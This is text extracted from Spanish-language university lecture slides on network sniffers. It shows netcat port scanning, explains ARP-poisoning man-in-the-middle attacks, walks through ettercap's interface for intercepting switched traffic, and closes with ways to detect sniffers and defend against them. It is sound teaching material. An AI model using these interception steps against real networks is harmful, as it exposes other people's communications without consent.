C:\nc11nt>nc -v -v -z 192.168.010.001 53 25 21
DNS fwd/rev mismatch: localhost != NKRAlocalhost [192.168.010.001] 53 (domain): connection refused
localhost [192.168.010.001] 25 (smtp): connection refusedlocalhost [192.168.010.001] 21 (ftp): connection refusedsent 0, rcvd 0: NOTSOCK
C:\nc11nt>nc -v -v -z 192.168.010.001 1-53
DNS fwd/rev mismatch: localhost != darkstarlocalhost [192.168.010.001] 53 (domain): connection refused
localhost [192.168.010.001] 52 (?): connection refusedlocalhost [192.168.010.001] 51 (?): connection refusedlocalhost [192.168.010.001] 50 (?): connection refused
localhost [192.168.010.001] 49 (?): connection refusedlocalhost [192.168.010.001] 48 (?): connection refused etc…
Lámina 74Dr. Roberto Gómez
Conectando dos equipos con netcat
nc –l -p 5600nc 192.163.3.19 5600
Cliente Servidor
Corre como cliente, enviando cualquier entrada de la línea de comandos al puerto 5600 de la máquina 192.163.3.19
Corre como servicio escuchando en el puerto 5600
38Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 75Dr. Roberto Gómez
¿¿Y las redes switcheadas??
Introducción a los sniffers activos
Lámina 76Dr. Roberto Gómez
Tipos de sniffers
• Pasivos– sniffers no realizan actividad alguna
– solo capturan paquetes
• Activos– sniffers intentan apoderarse de las sesiones
– uso de técnicas para lograr lo anterior• spoofing
• envenenamiento de la tabla de arp
39Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 77Dr. Roberto Gómez
Spoofing
• Spoofing es la creación de paquetes de comunicación TCP/IP usando una dirección IP de alguien más.
• Lo anterior permite entrar en un sistema haciéndose pasar por un usuario autorizado.
• Una vez dentro del sistema, el atacante puede servirse de éste como plataforma para introducirse en otro y así sucesivamente.
• Ejemplo– hacer un telnet al puerto 25 y enviar correos a nombre de
otra persona
Lámina 78Dr. Roberto Gómez
1er ejemplo spoofing: ataque ARP
• Consiste en hacerse pasar por una máquina que no es.
• Aprovecha el principio de funcionamiento del protocolo ARP.
• Sólo es útil es redes/máquinas que utilizan este protocolo (locales).
• También conocido como envenenamiento de ARP
40Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 79Dr. Roberto Gómez
Protocolo ARP(funcionamiento normal)
A BX
LA
FA
LB
?1
Tabla arp de máquina A: LA: dirección lógica A, F A dirección física Ase desconoce la dirección física de B (F B)
Máquina A pregunta la dirección física de B
Lámina 80Dr. Roberto Gómez
Protocolo ARP(funcionamiento normal)
LA
FA
LB
FFBB2
A BXB responde con su dirección física (F B)
A actualiza su tabla arp
41Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 81Dr. Roberto Gómez
Ataque ARP(máquina A solicita direccón de B)
LA
FA
LB
?1
Máquina Intrusa
BXA
Tabla arp de máquina A:
Máquina A pregunta la dirección física de B
Lámina 82Dr. Roberto Gómez
Ataque ARP
LA
FA
LB
FFXX2
A BX
Intruso responde con su dirección física
(FB)
A actualiza su tabla arp
42Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 83Dr. Roberto Gómez
Ataque ARP
IA
FA
IB
FB2
Máquina Intrusa
BXA
X le envía a Bsu dirección física (F x)
B actualiza su tabla arp(cambia F A por F x)
Máquina intrusa (X) le notifica a B que ella es A
FX
Tabla ARP de la máquina B
Lámina 84Dr. Roberto Gómez
Finalmente
B
X
Máquina Intrusa
A
De B para ADe B para A
De A para B De A para B
Toda la información entre A y B pasa por X
43Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 85Dr. Roberto Gómez
Presentando ettercap
Kiddie: A friend of mine told me that it is possible to sniff on a LA N... so I bought a switch ;)NaGoR: mmhhh....Kiddie: Now my LAN is SECURE ! you can't sniff my packets... ah ah ahNaGoR: are you sure ? look at ettercap doing its work...Kiddie: Oh my god... it sniffs all my traffic !!
I will use only ciphered connections on my LAN, so etter cap can't sniff them ! ah ah ahNaGoR: mmhhh....Kiddie: Now I'm using SSH. My LAN is SECURE !NaGoR: are you sure ? look at ettercap doing its work...Kiddie: shit !! grrrr...
"a false sense of security, is worse than insecurity" - - Steve Gibsonhey folks... wake up ! the net is NOT secure !!ettercap demonstrates that now is the time to encourage res earch oninternet protocols to make them more secure.
Lámina 86Dr. Roberto Gómez
Modos operación
• El sniffer tiene cuatro modos de operación– Basado en IP, paquetes filtrados en fuente y destino IP
– Basado en MAC, paquetes filtrados en base a direcciones MAC, útil para sniffear conexiones a través del gateway
– Basado en ARP, útil para envenenar el arp para sniffearen una lan switcheado entre dos hosts (full-duplex)
– Basado en ARP público, usa envenamiento de arp para sniffear una lan switcheada de un host víctima al resto de los hosts (half-duplex)
44Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 87Dr. Roberto Gómez
Arp based sniffing
• No pone la interfaz en modo promiscuo.• No es necesario, los paquetes llegan a la máquina.
– el switch reenvia los paquetes a la máquina
• Como funciona– ettecarp “envenena” el caché del arp de dos hosts,
identificandose como otro host – una vez que el caché fue envenenado, los hosts empiezan a
comunicarse, pero sus paquetes se envían a la máquina “interceptora”
– esta máquina almacena estos paquetes y los enviara a la máquina destino
Lámina 88Dr. Roberto Gómez
Características arp sniffing
• La conexión es transparente para las víctimas– no saben que están siendo “snifeados”
– la única forma de descubrir lo que esta pasando es ver los cachés arp de las máquinas y verificar si hay dos hosts con la misma dirección MAC
host 1(envenenado)
host 2(envenenado)
host atacante ( ettercap )
45Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 89Dr. Roberto Gómez
Envenenando el caché de arp
• Protocolo arp tiene una inseguridad intrínseca.• Para reducir tráfico en cable, creará una entrada en la
caché del arp, aún cuando no fue solicitado.• Cada arp-replyque viaja en el cable será insertado en
la tabla de arp.• Ataque:
– se enván arp-reply a los dos host a sniffear– en este mensaje se indica que la dirección mac del segundo
host es la del atacante– el host enviara paquetes que deben ir al primer host a la
máquina atacante – lo mismo para el primer host pero en orden inverso
Lámina 90Dr. Roberto Gómez
Ejemplos host envenenados
HOST 1: ATTACKER HOST:mac: 01:01:01:01:01:01 mac: 03:03:03:03:03:03ip: 192.168.0.1 ip: 192.168.0.3HOST 2: mac: 02:02:02:02:02:02ip: 192.168.0.2se envían mensajes arp-reply a:
HOST 1 indicando que 192.168.0.2 esta en: 03:03:03:03:03:03HOST 2 indicando que 192.168.0.1 esta en: 03:03:03:03:03:03
ahora se encuentran envenenados, y enviaran paquetes al host de ataque,
este último enviará paquetes de la siguiente forma:
HOST 1 será reenviado a: 02:02:02:02:02:02
HOST 2 será reenviado a: 01:01:01:01:01:01
46Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 91Dr. Roberto Gómez
Requerimientos
• No requiere de ninguna biblioteca como libpcap, libnet o libnids, tampoco es necesario ncurses, pero es altamente recomendable instalarlo.
• Si es necesario que soporte SSH1 y/p HTTPS, ettercap requiere las bibliotecas de OpenSSL
• Para Win32:– requiere Windows NT/2000/XP.
– winpcap versión 2.3 o mayor
– cygwin de http://cygwin.com/setup.exe
Lámina 92Dr. Roberto Gómez
La interfaz ncurses
• Ventana principal dividida en tres subsecciones:– alta: diagrama de conexión, que despliega las dos máquinas a
sniffear o a conectar o sobre las que se va a operar
– media: lista de los hostconocidos en la LAN (unidos hub o switch)
– baja: ventana de status, proporciona información adicional acerca de los objetos actualmente seleccionados, status actual y otros hints importantes.
47Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 93Dr. Roberto Gómez
¿Cómo funciona todo?
• Lanzando ettercap• La lista de hosts• Sniffing basado en IP• Sniffing basado en MAC• Sniffing basado en ARP• Envenamiento de ARP• ARP público• ARP público inteligente• Inyección de caracteres
Lámina 94Dr. Roberto Gómez
Lanzando ettercap
• Comando ettercap
48Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 95Dr. Roberto Gómez
Lista hosts disponibles
• Lo primero que se obtiene es la lista de hosts de la LAN
• Se puede seleccionar con flechas y teclas de tabulador los dos hosts a monitorear, y después seleccionar el método apropiado (IP, MAC or ARP based sniffing).
Lámina 96Dr. Roberto Gómez
La lista de hosts
• Cuando empieza hace una lista de todos los hosts en la LAN.
• Envía un ARP REQUEST a cada IP en la LAN– revisando la IP actual y el netmask
– posible capturar los ARP REPLIES y hacer la lista de los hosts que están respondiendo en la LAN
• Con este método también los hosts Windows responden
• Precaución con netmask = 255.255.0.0– ettercap enviará 255*255 = 65025 mensajes tipo arp request
– tomará más de un minuto construir la lista
49Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 97Dr. Roberto Gómez
Ejemplo lista de hosts
Lámina 98Dr. Roberto Gómez
Elegir en medio de quien se quiere poner
• Seleccionar la primera computadora de la columna a la izquierda
• Seleccionar la segunda de la columna derecha
• Para moverse entre las máquinas utilizar la flecha arriba y abajo
• Para moverse entre columnas utilizar la tecla con la flecha derecha o izquierda
• Las máquinas seleccionadas se despliegan el parte superior– Se despliega su dirección
MAC e IP
Se elige la primera IP
50Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 99Dr. Roberto Gómez
Ejemplo direcciones seleccionadas
Se elige la segunda IP
Lámina 100Dr. Roberto Gómez
Seleccionando que hacer
• Presionando F1 se accede al menú de ayuda– todos los menú poseen su
propia ayuda, se accede pulsando F1
• Hay 3 modos de sniffing: – Envenenamiento ARP ->
pulsando 'a' o 'A‘– Sniffing a las IPs ->
pulsando 's' o 'S‘– Sniffing a las MAC ->
pulsando 'm' o 'M'
51Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 101Dr. Roberto Gómez
Evenenamiento de las tablas arp
• Con la opción ‘a’ se envenenan las tablas arp de las maquinas seleccionadas.
Lámina 102Dr. Roberto Gómez
Estado conexiones entre hosts
• Después de seleccionar un método, la interfaz muestra todas las conexiones entre los dos hosts
• Se puede elegir la conexión que se desea sniffear
• Cada conexión tiene un atributo (activo o silencio) que indica si existe alguna actividad en esta conexión.
52Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 103Dr. Roberto Gómez
Viendo la comunicación
Lámina 104Dr. Roberto Gómez
Snifeando la conexión
• La interfaz de snifeo muestra tanto el puerto fuente como destino.
• Es posible registrar los datos sniffeados, examinarlo en modo ascii o hexadecimal, inyectar caracteres en una conexión telnet y mucho más
53Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 105Dr. Roberto Gómez
Otro ejemplo de captura
Lámina 106Dr. Roberto Gómez
¿Es https seguro?
54Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 107Dr. Roberto Gómez
Otros menú de ayuda
Lámina 108Dr. Roberto Gómez
Detección sniffers
• Sniffers son difíciles de detectar y combatir ya que son programas pasivos.– algunas veces imposible
• No generan bitacoras.
• Cuando se usan propiamente, no usan mucho disco ni memoria.
• Es posible localizarlos a nivel local– verificar que se esta ejecutando
• A nivel red, algunos pueden localizarse mediante herramientas
55Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 109Dr. Roberto Gómez
A nivel local
• Saber si alguna interfaz de red, de las computadoras de la red, se encuentra en modo promiscuo– a través comandos ifconfig y utilería ifstatus
• Comando ifconfig– responde con el status de todas las interfaces
– ejemplo uso:
toto@cachafas:17>ifconfigUP BROADCAST RUNNIG PROMISC MULTICAST MTU:1500 Metric:1:toto@cachafas:18>
Lámina 110Dr. Roberto Gómez
A nivel local
• Utileria ifstatus– pequeño programa en
– verifica todas las interfaces de red en el sistema y reporta si alguna de ellas se encuentran en modo promiscuo.
– también los detecta en host locales
– un ejemplo de salida es:
WARNING: LINUX2.SAMSHACKER.NET INTERFACE eth0 IS IN PROMISCOUS MODE
56Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 111Dr. Roberto Gómez
Aprovechando errores implementación stack IP
• Posible detectar sniffers en algunos sistemas operativos– por ejemplo: Linux
• Aprovechar debilidad en la implementación del stackTCP/IP.
• Cuando se encuentra en modo promiscuo– responde a los paquetes TCP/IP que recibe con su dirección IP
aún si la dirección MAC en dicho paquete esta mal
– el comportamiento estándar es que los paquetes que contienen direcciones MAC erróneas no serán tomados en cuenta (i.e. no hay repuesta) ya que la interfaz de red los “tira”.
Lámina 112Dr. Roberto Gómez
Aprovechando errores implementación stack IP
• ¿Cómo funciona?– se envian paquetes TCP/IP a todas las direcciones de
la red, donde la dirección MAC contenga información errónea, la respuesta de dichas máquina seá un paquete RST
– indicará que máquinas se encuentran en modo promiscuo.
• A pesar de que no se trata de un método perfecto puede ayudar a descubrir actividad sospechosa en una red.
57Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 113Dr. Roberto Gómez
Técnicas similares de detección
• DNS test
• Etherping test
• ARP test
• ICMP Ping de Latencia
Lámina 114Dr. Roberto Gómez
Herramientas detección sniffers
• AntiSniff
• CPM (Check Promiscuous Mode)
• neped
• sentinel
• los comandos/utilerías– ifconfig
– ifstatus
58Roberto Gómez Cárdenas
Seguridad Informática Sniffers
Lámina 115Dr. Roberto Gómez
Otras opciones
• Es una forma de protegerse de varios sniffers
• Hubs activos solo envían paquetes a un conjunto de máquinas previamente autorizadas– puede deshabilitar el sniffer ya que no recibirá paquetes que
no sean enviados por a una máquina en específico.
– Cisco, HP y 3COM cuentan con dichos hubs activos
• Switchear la red– ettercap
• Encripción de los canales de comunicación– VPNs: SSL, SSH, IPSec, L2TP, PPTP